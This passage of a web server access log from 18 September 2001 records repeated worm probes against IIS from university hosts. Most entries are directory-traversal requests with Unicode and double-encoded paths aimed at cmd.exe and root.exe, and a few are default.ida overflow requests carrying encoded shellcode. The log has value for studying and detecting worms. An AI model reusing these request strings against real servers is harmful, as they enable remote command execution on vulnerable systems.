  4318. 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4319. 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4320. 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4321. 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4322. 20010918 14:52:42: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4323. 20010918 14:54:44: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4324. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4325. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4326. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4327. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4328. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4329. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4330. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4331. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4332. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4333. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4334. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4335. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4336. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4337. 20010918 14:54:45: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4338. 20010918 14:54:46: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4339. 20010918 14:54:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4340. 20010918 14:56:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4341. 20010918 14:56:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4342. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4343. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4344. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4345. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4346. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4347. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4348. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4349. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4350. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4351. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4352. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4353. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4354. 20010918 14:56:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4355. 20010918 14:56:26: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4356. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4357. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4358. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4359. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4360. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4361. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4362. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4363. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4364. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4365. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4366. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4367. 20010918 14:58:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4368. 20010918 14:58:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4369. 20010918 14:58:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4370. 20010918 14:58:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4371. 20010918 14:58:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4372. 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4373. 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4374. 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4375. 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4376. 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4377. 20010918 15:00:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4378. 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4379. 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4380. 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4381. 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4382. 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4383. 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4384. 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4385. 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4386. 20010918 15:00:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4387. 20010918 15:00:18: soaisweb.byu.edu [128.187.144.249] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4388. 20010918 15:08:15: soaisweb.byu.edu [128.187.144.249] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4389. 20010918 15:08:15: soaisweb.byu.edu [128.187.144.249] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4390. 20010918 15:08:15: soaisweb.byu.edu [128.187.144.249] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4391. 20010918 15:08:15: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4392. 20010918 15:08:16: soaisweb.byu.edu [128.187.144.249] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4393. 20010918 15:08:16: soaisweb.byu.edu [128.187.144.249] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4394. 20010918 15:08:17: soaisweb.byu.edu [128.187.144.249] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4395. 20010918 15:08:17: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4396. 20010918 15:08:17: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4397. 20010918 15:08:17: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4398. 20010918 15:08:18: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4399. 20010918 15:08:21: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4400. 20010918 15:08:21: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4401. 20010918 15:08:22: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4402. 20010918 15:08:23: soaisweb.byu.edu [128.187.144.249] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4403. 20010918 15:08:23: bus205-45.gsb.columbia.edu [128.59.205.45] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4404. 20010918 15:08:41: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4405. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4406. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4407. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4408. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4409. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4410. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4411. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4412. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4413. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4414. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4415. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4416. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4417. 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4418. 20010918 15:09:28: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4419. 20010918 15:09:29: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4420. 20010918 15:09:29: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4421. 20010918 15:10:02: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4422. 20010918 15:10:02: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4423. 20010918 15:10:03: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4424. 20010918 15:10:09: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4425. 20010918 15:10:09: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4426. 20010918 15:10:09: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4427. 20010918 15:10:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4428. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4429. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4430. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4431. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4432. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4433. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4434. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4435. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4436. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4437. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4438. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4439. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4440. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4441. 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4442. 20010918 15:10:23: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4443. 20010918 15:10:23: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4444. 20010918 15:12:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4445. 20010918 15:18:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4446. 20010918 15:18:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4447. 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4448. 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4449. 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4450. 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4451. 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4452. 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4453. 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4454. 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4455. 20010918 15:18:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4456. 20010918 15:18:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4457. 20010918 15:18:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4458. 20010918 15:18:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4459. 20010918 15:18:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4460. 20010918 15:18:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4461. 20010918 15:28:44: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4462. 20010918 15:28:44: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4463. 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4464. 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4465. 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4466. 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4467. 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4468. 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4469. 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4470. 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4471. 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4472. 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4473. 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4474. 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4475. 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4476. 20010918 15:28:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4477. 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4478. 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4479. 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4480. 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4481. 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4482. 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4483. 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4484. 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
